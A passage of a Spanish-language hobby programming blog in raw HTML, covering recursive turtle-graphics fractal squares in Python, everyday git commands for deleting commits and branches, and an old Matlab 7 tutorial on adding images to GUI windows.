/> <span style="color: #2b00fe;">if </span>lenght < 20:<br /> t.color('gray')<br /> <span style="color: #2b00fe;">else:</span><br /> t.color('black')</span></div><div><span style="font-family: courier;"><br /> t.pensize(lenght/15)<br /> t.pendown()<br /> <span style="color: #073763;">cuadrado</span>(lenght)<br /> <br /> cx = x - lenght / 4<br /> cy = y + lenght / 4<br /> <span style="color: #0b5394;">drawit2</span>(cx, cy, lenght / 2)<br /> cx = x + lenght / 4<br /> cy = y - lenght / 4<br /> <br /> <span style="color: #0b5394;">drawit2</span>(cx, cy, lenght / 2)<br /> cx = x + lenght * 3 / 4<br /> cy = y + lenght / 4<br /> <span style="color: #0b5394;">drawit2</span>(cx, cy, lenght / 2)<br /> cx = x + lenght / 4<br /> cy = y + lenght * 3 / 4<br /> <span style="color: #0b5394;">drawit2</span>(cx, cy, lenght / 2)<br /> <span style="color: #2b00fe;">else:</span><br /> t.hideturtle()<br /> return 0<br /><br />lenght = 160<br /><span style="color: #0b5394;">drawit2</span>(0 - lenght / 2, 0 - lenght / 2, 160)<br />t.mainloop()</span></div><p style="text-align: left;"><br /></p><p style="text-align: left;">Creo que no es necesario el import length_hint, (no recuerdo de qué tutorial lo copié) pero los dibujos tardan su buen rato en terminarse de dibujar, así que al final dejé el import.</p><p style="text-align: left;">El resultado es:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaI_KORTfLrx6B0wPTUGN0Jp_KdTv8Yk74OoLVCLKOSEN__bW6l7uG_OymmQWzFFoERJkr7rwCL2szpu7-6mD7snEcggUME9SKOxoNjrzbWACoQW_M3FgMWKer5iTPZr432dW4fmIv6angOK4Z7s1dLHSmL-ThRNjMVfW5LWImSEcuwzxuA7NCH8ER/s454/Captura%20de%20pantalla%202023-06-17%20130915.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="424" data-original-width="454" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaI_KORTfLrx6B0wPTUGN0Jp_KdTv8Yk74OoLVCLKOSEN__bW6l7uG_OymmQWzFFoERJkr7rwCL2szpu7-6mD7snEcggUME9SKOxoNjrzbWACoQW_M3FgMWKer5iTPZr432dW4fmIv6angOK4Z7s1dLHSmL-ThRNjMVfW5LWImSEcuwzxuA7NCH8ER/s16000/Captura%20de%20pantalla%202023-06-17%20130915.png" /></a></div><br /><p style="text-align: left;"><br /></p><p style="text-align: left;">Se ve bien, pero no lo suficiente, hice un pequeño cambio al parámetro que se pasa a la función cuadrado():</p><div><span style="font-family: courier;"><span style="color: #2b00fe;">from </span>operator <span style="color: #2b00fe;">import </span>length_hint<br /><span style="color: #2b00fe;">import </span>turtle as t<br /></span><br /></div><div><span style="font-family: courier;"><span style="color: #2b00fe;">def </span><span style="color: #0b5394;">cuadrado</span>(lenght):<br /> t.forward(lenght)<br /> t.seth(90)<br /> t.forward(lenght)<br /> t.seth(180)<br /> t.forward(lenght)<br /> t.seth(270)<br /> t.forward(lenght)<br /> t.seth(0)<br /><br /><span style="color: #2b00fe;">def </span><span style="color: #0b5394;">drawit2</span>(x, y, lenght):<br /> <span style="color: #2b00fe;">if </span>lenght > 5:<br /> t.penup()<br /> t.goto(x, y)<br /> <br /> <span style="color: #2b00fe;">if </span>lenght < 20:<br /> t.color('gray')<br /> <span style="color: #2b00fe;">else:</span><br /> t.color('black')</span></div><div><span style="font-family: courier;"><br /> t.pensize(lenght/15)<br /> t.pendown()<br /> <span style="color: #073763;">cuadrado</span>(lenght - lenght / 10)<br /> <br /> cx = x - lenght / 4<br /> cy = y + lenght / 4<br /> <span style="color: #0b5394;">drawit2</span>(cx, cy, lenght / 2)<br /> cx = x + lenght / 4<br /> cy = y - lenght / 4<br /> <br /> <span style="color: #0b5394;">drawit2</span>(cx, cy, lenght / 2)<br /> cx = x + lenght * 3 / 4<br /> cy = y + lenght / 4<br /> <span style="color: #0b5394;">drawit2</span>(cx, cy, lenght / 2)<br /> cx = x + lenght / 4<br /> cy = y + lenght * 3 / 4<br /> <span style="color: #0b5394;">drawit2</span>(cx, cy, lenght / 2)<br /> <span style="color: #2b00fe;">else:</span><br /> t.hideturtle()<br /> return 0<br /><br />lenght = 160<br /><span style="color: #0b5394;">drawit2</span>(0 - lenght / 2, 0 - lenght / 2, 160)<br />t.mainloop()</span></div><p><br /></p><p>El resultado es:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlUKS7s8RxKdCxXb1LEDnHKUPQBtKT_t7Tiyi9h18OXuyY45E5mXGsU0XfFQXpU0metfEaspw7VGxy2L7e9FZ9JDSynNxDzJlpOyDJNbDbLXA9AvVzeSTUsDgghak9YYSUUY7gaI7UI7kXBcQHp7sQFu9Hx3evwkcsT8e_YqaD0rZZfagK2tbxhPsk/s591/Captura%20de%20pantalla%202023-06-17%20143208.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="526" data-original-width="591" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlUKS7s8RxKdCxXb1LEDnHKUPQBtKT_t7Tiyi9h18OXuyY45E5mXGsU0XfFQXpU0metfEaspw7VGxy2L7e9FZ9JDSynNxDzJlpOyDJNbDbLXA9AvVzeSTUsDgghak9YYSUUY7gaI7UI7kXBcQHp7sQFu9Hx3evwkcsT8e_YqaD0rZZfagK2tbxhPsk/s16000/Captura%20de%20pantalla%202023-06-17%20143208.png" /></a></div><br /><p>Mucho mejor, pero le falta color, <a href="https://pythonguides.com/python-turtle-colors/" rel="nofollow" target="_blank">el código para el color lo copié de aquí.</a></p><p><br /></p><div><span style="font-family: courier;"><span style="color: #2b00fe;">from </span>operator <span style="color: #2b00fe;">import </span>length_hint<br /><span style="color: #2b00fe;">import </span>turtle as t<br /></span><span style="color: #2b00fe; font-family: courier;">from </span><span style="font-family: courier;">turtle </span><span style="color: #2b00fe; font-family: courier;">import</span><span style="font-family: courier;">*<br /></span><span style="color: #2b00fe; font-family: courier;">from </span><span style="font-family: courier;">random </span><span style="color: #2b00fe; font-family: courier;">import </span><span style="font-family: courier;">randint</span></div><div><span style="font-family: courier;"><br /><span style="color: #2b00fe;">def </span><span style="color: #0b5394;">cuadrado</span>(lenght):<br /> color(randint(0, 255), randint(0, 255), randint(0, 255))<br /> t.forward(lenght)<br /> t.seth(90)<br /> t.forward(lenght)<br /> t.seth(180)<br /> t.forward(lenght)<br /> t.seth(270)<br /> t.forward(lenght)<br /> t.seth(0)<br /><br /><span style="color: #2b00fe;">def </span><span style="color: #0b5394;">drawit2</span>(x, y, lenght):<br /> <span style="color: #2b00fe;">if </span>lenght > 5:<br /> t.penup()<br /> t.goto(x, y)<br /> <br /> t.pensize(lenght/15)<br /> t.pendown()<br /> <span style="color: #073763;">cuadrado</span>(lenght - lenght / 10)<br /> <br /> cx = x - lenght / 4<br /> cy = y + lenght / 4<br /> <span style="color: #0b5394;">drawit2</span>(cx, cy, lenght / 2)<br /> cx = x + lenght / 4<br /> cy = y - lenght / 4<br /> <br /> <span style="color: #0b5394;">drawit2</span>(cx, cy, lenght / 2)<br /> cx = x + lenght * 3 / 4<br /> cy = y + lenght / 4<br /> <span style="color: #0b5394;">drawit2</span>(cx, cy, lenght / 2)<br /> cx = x + lenght / 4<br /> cy = y + lenght * 3 / 4<br /> <span style="color: #0b5394;">drawit2</span>(cx, cy, lenght / 2)<br /> <span style="color: #2b00fe;">else:</span><br /> t.hideturtle()<br /> return 0<br /><br />lenght = 160<br /><span style="color: #0b5394;">colormode</span>(255)<br /><span style="color: #0b5394;">drawit2</span>(0 - lenght / 2, 0 - lenght / 2, 160)<br />t.mainloop()</span></div><p><br /></p><p>El resultado es:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtRnw0gDwMbtxdMra_UqG1WWFgxj3H8urAU6J3W9OVbdEDLRq8SXd9_iWtgFJU9NhpmEIjeKJPGtt4xs2RSzeq8wKcNkPMQKiH71TCklGfXDN_eUJW-sRHlC5rsvTt9zLSH3lRD1Unun5rHAFSBCHVfyaD-JZF-fEUlbHE93djClDbHkuK0Rp95LcM/s403/Captura%20de%20pantalla%202023-06-17%20164551.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="371" data-original-width="403" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtRnw0gDwMbtxdMra_UqG1WWFgxj3H8urAU6J3W9OVbdEDLRq8SXd9_iWtgFJU9NhpmEIjeKJPGtt4xs2RSzeq8wKcNkPMQKiH71TCklGfXDN_eUJW-sRHlC5rsvTt9zLSH3lRD1Unun5rHAFSBCHVfyaD-JZF-fEUlbHE93djClDbHkuK0Rp95LcM/s16000/Captura%20de%20pantalla%202023-06-17%20164551.png" /></a></div><br /><p>No está mal, pero esas líneas gruesas del cuadrado grande molestan un poco. Voy a ponder un color distinto a cada línea:</p><div><span style="font-family: courier;"><span style="color: #2b00fe;">from </span>operator <span style="color: #2b00fe;">import </span>length_hint<br /><span style="color: #2b00fe;">import </span>turtle as t<br /></span><span style="color: #2b00fe; font-family: courier;">from </span><span style="font-family: courier;">turtle </span><span style="color: #2b00fe; font-family: courier;">import</span><span style="font-family: courier;">*<br /></span><span style="color: #2b00fe; font-family: courier;">from </span><span style="font-family: courier;">random </span><span style="color: #2b00fe; font-family: courier;">import </span><span style="font-family: courier;">randint</span></div><div><span style="font-family: courier;"><br /><span style="color: #2b00fe;">def </span><span style="color: #0b5394;">cuadrado</span>(lenght):<br /> color(randint(0, 255), randint(0, 255), randint(0, 255))<br /> t.forward(lenght)<br /> t.seth(90)</span></div><div><span style="font-family: courier;"> color(randint(0, 255), randint(0, 255), randint(0, 255))</span><span style="font-family: courier;"><br /> t.forward(lenght)<br /> t.seth(180)</span></div><div><span style="font-family: courier;"> color(randint(0, 255), randint(0, 255), randint(0, 255))</span><span style="font-family: courier;"><br /> t.forward(lenght)<br /> t.seth(270)</span></div><div><span style="font-family: courier;"> color(randint(0, 255), randint(0, 255), randint(0, 255))</span><span style="font-family: courier;"><br /> t.forward(lenght)<br /> t.seth(0)<br /><br /><span style="color: #2b00fe;">def </span><span style="color: #0b5394;">drawit2</span>(x, y, lenght):<br /> <span style="color: #2b00fe;">if </span>lenght > 5:<br /> t.penup()<br /> t.goto(x, y)<br /> <br /> t.pensize(lenght/15)<br /> t.pendown()<br /> <span style="color: #073763;">cuadrado</span>(lenght - lenght / 10)<br /> <br /> cx = x - lenght / 4<br /> cy = y + lenght / 4<br /> <span style="color: #0b5394;">drawit2</span>(cx, cy, lenght / 2)<br /> cx = x + lenght / 4<br /> cy = y - lenght / 4<br /> <br /> <span style="color: #0b5394;">drawit2</span>(cx, cy, lenght / 2)<br /> cx = x + lenght * 3 / 4<br /> cy = y + lenght / 4<br /> <span style="color: #0b5394;">drawit2</span>(cx, cy, lenght / 2)<br /> cx = x + lenght / 4<br /> cy = y + lenght * 3 / 4<br /> <span style="color: #0b5394;">drawit2</span>(cx, cy, lenght / 2)<br /> <span style="color: #2b00fe;">else:</span><br /> t.hideturtle()<br /> return 0<br /><br />lenght = 160<br /><span style="color: #0b5394;">colormode</span>(255)<br /><span style="color: #0b5394;">drawit2</span>(0 - lenght / 2, 0 - lenght / 2, 160)<br />t.mainloop()</span></div><p><br /></p><p>Queda asi:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3yoPnaU_4nCndXXp2y3yiesZMrGNwd5BEGN9W0l7pVs_kuVcPOmZbASmyPK9ehZdLPbD0__W7GV2WWl-GwV5AEZC1Ic2aUfoVWCdM3fOF45xOfT_KD-94Us98Z891WWAqiqy3CGWUG6-N4_7NVDPwC9O0FN-FkWmm4wV1k9qCEjtajvoUBopWs1-G/s375/Captura%20de%20pantalla%202023-06-17%20165430.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="375" data-original-width="369" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3yoPnaU_4nCndXXp2y3yiesZMrGNwd5BEGN9W0l7pVs_kuVcPOmZbASmyPK9ehZdLPbD0__W7GV2WWl-GwV5AEZC1Ic2aUfoVWCdM3fOF45xOfT_KD-94Us98Z891WWAqiqy3CGWUG6-N4_7NVDPwC9O0FN-FkWmm4wV1k9qCEjtajvoUBopWs1-G/s16000/Captura%20de%20pantalla%202023-06-17%20165430.png" /></a></div><br /><p>Creo que prefiero la versión en negro y gris.</p><p>Como se ve tan feo, encontré un dato en uno de los tutoriales: el módulo colorsys. <a href="https://stackoverflow.com/questions/54616531/how-can-i-cycle-colors-using-turtle-module-in-python" rel="nofollow" target="_blank">Con la ayuda de este enlace </a>y luego de probar un poco llegué a este código:</p><div><span style="color: #2b00fe; font-family: courier;">from </span><span style="font-family: courier;">colorsys <span style="color: #2b00fe;">import </span>hsv_to_rgb<br /></span><span style="font-family: courier;"><span style="color: #2b00fe;">import </span>turtle as t<br /></span><span style="color: #2b00fe; font-family: courier;">from </span><span style="font-family: courier;">turtle </span><span style="color: #2b00fe; font-family: courier;">import</span><span style="font-family: courier;">*<br /></span><span style="color: #2b00fe; font-family: courier;">from </span><span style="font-family: courier;">random </span><span style="color: #2b00fe; font-family: courier;">import </span><span style="font-family: courier;">randint</span></div><div><span style="font-family: courier;"><br /><span style="color: #2b00fe;">def </span><span style="color: #0b5394;">cuadrado</span>(lenght, n):<br /> t.pencolor(hsv_to_rgb(n / 36, 0.75, 0.75))<br /> t.forward(lenght)<br /> t.seth(90)<br /> t.forward(lenght)<br /> t.seth(180)<br /> t.forward(lenght)<br /> t.seth(270)<br /> t.forward(lenght)<br /> t.seth(0)<br /><br /><span style="color: #2b00fe;">def </span><span style="color: #0b5394;">drawit2</span>(x, y, lenght, n):<br /> <span style="color: #2b00fe;">if </span>lenght > 5:<br /> t.penup()<br /> t.goto(x, y)<br /> n += 4<br /> <br /> t.pensize(lenght/15)<br /> t.pendown()<br /> <span style="color: #0b5394;">cuadrado</span>(lenght - lenght / 10, n)<br /> <br /> cx = x - lenght / 4<br /> cy = y + lenght / 4<br /> <span style="color: #0b5394;">drawit2</span>(cx, cy, lenght / 2, n + 1)<br /> cx = x + lenght / 4<br /> cy = y - lenght / 4<br /> <br /> </span><span style="color: #0b5394; font-family: courier;">drawit2</span><span style="font-family: courier;">(cx, cy, lenght / 2, n + 2)<br /> cx = x + lenght * 3 / 4<br /> cy = y + lenght / 4<br /> </span><span style="color: #0b5394; font-family: courier;">drawit2</span><span style="font-family: courier;">(cx, cy, lenght / 2, n + 3)<br /> cx = x + lenght / 4<br /> cy = y + lenght * 3 / 4<br /> </span><span style="color: #0b5394; font-family: courier;">drawit2</span><span style="font-family: courier;">(cx, cy, lenght / 2, n + 4)<br /> <span style="color: #2b00fe;">else:</span><br /> t.hideturtle()<br /> return 0<br /><br />lenght = 160<br /></span><span style="color: #0b5394; font-family: courier;">drawit2</span><span style="font-family: courier;">(0 - lenght / 2, 0 - lenght / 2, 160, 12)<br />t.mainloop()</span></div><p style="text-align: left;"><br /></p><p>Se ve mucho mejor ahora:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQFJEMSPIq4acFITuyowXeBt2VEjXxJp9-qV5ArWf-Rs2-8nUNNpoZTEhymbBKxZsxVbSzynEvd5eQuP9YAJic4qJsMlqo-SOnR__ZOvbU0fHvrPRarTbmrhnjX74nMgBVFMOvsT9ngj4ZhLos8D0RR55vsAUcNpqwzWqnVT803fIf_bgX-y3ZfLhV/s398/Captura%20de%20pantalla%202023-06-17%20233428.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="398" data-original-width="379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQFJEMSPIq4acFITuyowXeBt2VEjXxJp9-qV5ArWf-Rs2-8nUNNpoZTEhymbBKxZsxVbSzynEvd5eQuP9YAJic4qJsMlqo-SOnR__ZOvbU0fHvrPRarTbmrhnjX74nMgBVFMOvsT9ngj4ZhLos8D0RR55vsAUcNpqwzWqnVT803fIf_bgX-y3ZfLhV/s16000/Captura%20de%20pantalla%202023-06-17%20233428.png" /></a></div><p><br /></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-23996398076829671342023-04-24T17:22:00.003-07:002023-04-25T09:30:12.108-07:00Comandos de git para eliminar commits, y ramas locales y remotas<p>Intentaba hacer un <span style="font-family: courier;">git checkout otra_rama</span> y me salió este error:</p><p><span style="font-family: courier;">fatal: unable to create 'xxx/.git/index.lock': file exists.</span></p><p><span style="font-family: courier;">Another
git process seems to be running in this repository, e.g. an editor
opened by 'git commit'. Please make sure all processes are terminated
then try again. If it still fails, a git process may have crashed in
this repository earlier: remove the file manually to continue.</span></p><p>Al ejecutarse, git deja un archivo dentro de la carpeta oculta .git llamad index.lock el cual puede eliminarse manualmente. En mi caso, una de las ventanas de consola había dejado de responder y tuve que matarla.<br /></p><p>Pongo también el comando que se usa para eliminar el último commit:<br /></p><p><span style="font-family: courier;">git reset --hard HEAD~1</span></p><p><span style="font-family: inherit;">Si se quiere eliminar una rama local, se debe hacer: <br /></span></p><p><span style="font-family: courier;">git checkout otra_rama</span></p><p><span style="font-family: courier;">git branch -D rama_que_quiero_eliminar</span></p><p>Lo que no dicen los tutoriales es que primero debemos ubicarnos en otra rama o se lanzará el error:</p><p><span style="font-family: courier;">cannot delete branch checked out at xxx</span></p><p><span style="font-family: inherit;">Para eliminar una rama remota:</span></p><p><span style="font-family: courier;">git push origin --delete rama_a_eliminar </span></p><p><span style="font-family: inherit;">o también:</span></p><p><span style="font-family: courier;">git push origin -d rama_a_eliminar </span><span style="font-family: courier;"> <br /></span></p><p><span style="font-family: inherit;">Si se ingresa el comando:</span></p><p><span style="font-family: courier;">git push --delete rama_a_eliminar </span></p><p><span style="font-family: inherit;">Lanzará el error:</span></p><p><span style="font-family: courier;">fatal: --delete desn't make any sense without any refs</span></p><p><span style="font-family: inherit;">Me pasé horas buscando cómo restaurar los refs en lugar de revisar el comando y darme cuenta que me faltaba el </span><span style="font-family: courier;">origin </span><span style="font-family: inherit;">:(</span><span style="font-family: inherit;"><br /></span></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-80341958661820148862023-02-28T15:14:00.001-08:002023-02-28T15:14:27.995-08:00Tutorial viejito: Un Par de Trucos al hacer Guis en Matlab 7<p>Este tutorial data de mis años de estudiante hace casi dos décadas atrás, enjoy!</p><p><br />Matlab 7 permite poner imágenes en las ventanas hechas con la herramienta Guide, aunque no directamente pues no posee un control Picture o Image como en Visual Basic o C++ Builder. Lo malo es que los archivos de Ayuda de Matlab no explican cómo poner una imagen a una ventana (y si lo hacen yo no pude encontrar dónde), después de una tarde de examinar y diseccionar el Matlab descubrí la manera de hacerlo.<br /><br />Y aquí viene lo que quiero explicar:<br /><br /> <br />CÓMO PONER UNA IMAGEN EN UNA INTERFAZ GRÁFICA</p><p><br />Primero la imagen que queremos colocar en la ventana debe estar en formato BMP y en la misma carpeta donde se guardarán los archivos de la Interfaz Gráfica (el *.fig y el *.m).<br /><br />Luego se debe crear una ventana en blanco, esto se hace escribiendo "Guide" en la ventana de comandos y presionando enter, entonces se abrirá la siguiente ventana:</p><p></p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS7fvNX9rULCWP01tTHKRwFqid1pusV8N9_eVC-ihWGSRpn5MlS8GJM4Retjnq8fcJn4SruJM-k-1UU0wT_q2GZ5latNC38GDR745uEI80lgRy5GjNKbFVHVQOUubGCsoezm9utD5lw7li2pzssTP-XaEOuvkROL-oJpQN5EjRBEQ7Nz9MVrIUbJfV/s433/matlab72.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="300" data-original-width="433" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS7fvNX9rULCWP01tTHKRwFqid1pusV8N9_eVC-ihWGSRpn5MlS8GJM4Retjnq8fcJn4SruJM-k-1UU0wT_q2GZ5latNC38GDR745uEI80lgRy5GjNKbFVHVQOUubGCsoezm9utD5lw7li2pzssTP-XaEOuvkROL-oJpQN5EjRBEQ7Nz9MVrIUbJfV/s16000/matlab72.jpg" /></a></div><br /><p><br />Elegimos "Blank GUI" con lo que se abrirá esta ventana:</p><p style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-JgbzdPkH63MViGa6jtXZTQB2rlCtph6eX_qfW0stWS7rvuZIoMthQ-fDpJa0L-jxBVAUtpJOdII2rqI4-W-t7HC282uks5wEAuCRLZfEM7FYmPsM6zEDPY3aTDN_rTyIGomC07N8cMmLghXanqxe5bu7huA5sPHljI__X_duHpc8dofCEbW7vM1G/s440/matlab73.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="294" data-original-width="440" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-JgbzdPkH63MViGa6jtXZTQB2rlCtph6eX_qfW0stWS7rvuZIoMthQ-fDpJa0L-jxBVAUtpJOdII2rqI4-W-t7HC282uks5wEAuCRLZfEM7FYmPsM6zEDPY3aTDN_rTyIGomC07N8cMmLghXanqxe5bu7huA5sPHljI__X_duHpc8dofCEbW7vM1G/s16000/matlab73.jpg" /></a><br /></p><p><br />Después se jala un control Axes (el botón con la curva azul):</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5XZV40x-eQYBsHSQPXkqQLXUYeZ1iLbCXDnnhXjOQtvoOtQJ-cLeIUcVH5O_PL4DqdkM3Bl8GGNoGq313E188LY16798XSkk9n_-ozYPgjMaJU3BKjPlghjFAhBwJiUedi8Xh2eEFG4KhZgC3C5ZfFtqagBkiYug0BCRTqdOOPFl4XrffdGe3bB9u/s440/matlab74.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="294" data-original-width="440" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5XZV40x-eQYBsHSQPXkqQLXUYeZ1iLbCXDnnhXjOQtvoOtQJ-cLeIUcVH5O_PL4DqdkM3Bl8GGNoGq313E188LY16798XSkk9n_-ozYPgjMaJU3BKjPlghjFAhBwJiUedi8Xh2eEFG4KhZgC3C5ZfFtqagBkiYug0BCRTqdOOPFl4XrffdGe3bB9u/s16000/matlab74.jpg" /></a></div><br /><p><br />Mi ventana la he guardado como "unt1.fig" lo cual genera un archivo "unt1.m", ahora nos vamos para allá. Lo que debemos buscar es la función OpeningFcn que se activa apenas se abre la ventana:</p><p></p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVNVxM1lFviI_570Bd6hbJLlgwgyKXugT5R0J-01cb7OFtvc9dkRsQiUhg4uqkXebRGR7KX5OeMwL3wZrGDWjB1ATtdJcF6s8_pZwpK5J6WRz7Fdi9Mbyst1PC1Vd_RYgvnqZA3nQxoddL9wd8IO5R5yvskMzjVUs7iZHEdrQWeAqIeXmTqIVVpkbj/s560/matlab75.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="325" data-original-width="560" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVNVxM1lFviI_570Bd6hbJLlgwgyKXugT5R0J-01cb7OFtvc9dkRsQiUhg4uqkXebRGR7KX5OeMwL3wZrGDWjB1ATtdJcF6s8_pZwpK5J6WRz7Fdi9Mbyst1PC1Vd_RYgvnqZA3nQxoddL9wd8IO5R5yvskMzjVUs7iZHEdrQWeAqIeXmTqIVVpkbj/s16000/matlab75.gif" /></a></div><br /><p>Para el Matlab la ventana tiene por defecto el nombre de "figure1" y el Axes el de "axes1". Estos nombres pueden cambiarse, pero en este caso los vamos a usar así como están.<br /><br />Lo que debe hacerse es añadir el siguiente código (no hay que hacerle caso a lo que está en verde, son comentarios y pueden borrarse):</p><p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhAXfWW_JreKyscXokbmlmEeVv7W7tOZAT_HzDm85s8BwLSJ-2pmw5J8FbJCSPxKQJamlqazU9LpHEdTdDB9P87Gv9JIino5KnGkHAu0nfte8vng4OBbWWuAri0eg6SvacvcHSxemb9jme-F_76ADWw_HGDuK_BJRA-7ryBOs2-3W1tpaQLXBx_clS/s556/matlab76.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="451" data-original-width="556" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhAXfWW_JreKyscXokbmlmEeVv7W7tOZAT_HzDm85s8BwLSJ-2pmw5J8FbJCSPxKQJamlqazU9LpHEdTdDB9P87Gv9JIino5KnGkHAu0nfte8vng4OBbWWuAri0eg6SvacvcHSxemb9jme-F_76ADWw_HGDuK_BJRA-7ryBOs2-3W1tpaQLXBx_clS/s16000/matlab76.gif" /></a><br /><br />Lo que hace este código es cargar la imagen (cuyo nombre es "dsp.bmp") a una matriz con la función "imread", por precaución se cambia a formato entero de 8 bits (aunque una imagen en BMP ya está en este formato).<br /><br />La tercera línea hace que la imagen dependa de axes1. Las siguientes dos líneas son para configurar axes1: la propiedad "Visible" debe estar en "off" o de otro modo se verán los ejes coordenados a los costados de la imagen.<br /><br />Lo demás es para que la imagen tenga el mismo tamaño que axes1. Los tres puntos simplemente son para indicarle al Matlab que la función continúa en la siguiente línea.<br /><br />Al correr nuestra ventana debe verse así:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeSZB5a9XbW9saYAOdkY06LGBQGFKw2-FlRvRZNRKeApUq4-XMM1sVtfVYcPrNpWzwU2cSHuIPW4LJObGVJmTVJARuNG2sOjMgaLtGRUmZaqbvRkJPkrtyxiqUeQ_y1daZBqozUDcacomhGEyxHxoUAYsuOIceEK9s3pfjowGgl2cVdioT36loU-1A/s358/matlab77.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="210" data-original-width="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeSZB5a9XbW9saYAOdkY06LGBQGFKw2-FlRvRZNRKeApUq4-XMM1sVtfVYcPrNpWzwU2cSHuIPW4LJObGVJmTVJARuNG2sOjMgaLtGRUmZaqbvRkJPkrtyxiqUeQ_y1daZBqozUDcacomhGEyxHxoUAYsuOIceEK9s3pfjowGgl2cVdioT36loU-1A/s16000/matlab77.jpg" /></a></div><p><br /><br />El ancho y alto de la imagen puede variarse variando el ancho y alto de axes1.<br /><br /> <br /><br />CÓMO HACER LA PARTE MÁS OSCURA PARA EL TÍTULO:<br /><br />Para esto se deben jalar un control tipo "panel" y uno tipo "static text". A ambos se les da click derecho y se escoge "Send to back", lo cual los pondrá detrás de la imagen y no la taparán:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEjJGV43X_v4iZnBSpNGjmrqT6qz-1sBJ1fAPfVVG7pP0qr0jhy28Vq2Vs190Vm6PGoQ9hqP3HwvrQ2VXqE5V8rrsPjX6W9sY1Dczhd16jiYY8FoU2ZPdwq6AN_DbDTSNp8pHvpg6PMKM6YjoRdvvF8q2BU51fIBbXPPXVIJbQBpD65dcqlzCgujXv/s440/matlab78.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="294" data-original-width="440" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEjJGV43X_v4iZnBSpNGjmrqT6qz-1sBJ1fAPfVVG7pP0qr0jhy28Vq2Vs190Vm6PGoQ9hqP3HwvrQ2VXqE5V8rrsPjX6W9sY1Dczhd16jiYY8FoU2ZPdwq6AN_DbDTSNp8pHvpg6PMKM6YjoRdvvF8q2BU51fIBbXPPXVIJbQBpD65dcqlzCgujXv/s16000/matlab78.jpg" /></a></div><br /><p>Al hacer doble click sobre cualquiera de ellos aparecerá la ventana de propiedades con las respectivas propiedades que pueden usarse para cada control. Por ejemplo, el panel y el texto estático tienen una propiedad llamada "BackgroundColor", la cual no tiene figure1, pero ésta posee la propiedad "Color". Es importante saber esto, pues no todos los controles tienen las mismas propiedades.<br /><br />El panel tiene por defecto el nombre de "uipanel1" y el texto estático el de "text1".<br /><br />Nos volvemos a ir a la función OpeningFcn y añadimos (sí, borré los comentarios del Matlab 7):</p><p style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGB58EOq1oaB76YlvhSHzb_IWDHAEWd-r-vhSxXJ33CLpHz-bvOGmFZnhMJz2OfaTabLZNs0FYWviSXq7mnV_Al2WY6l4K35WMkkAmPFkcaGLdilhF4rRvNKYv1ffGGUIjZ29eX4SYpwDLhBF3CjOwRPLTgBeuGSOLJbQAbhn-G2Duf2uXVdFnQ_W2/s580/matlab79.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="383" data-original-width="580" 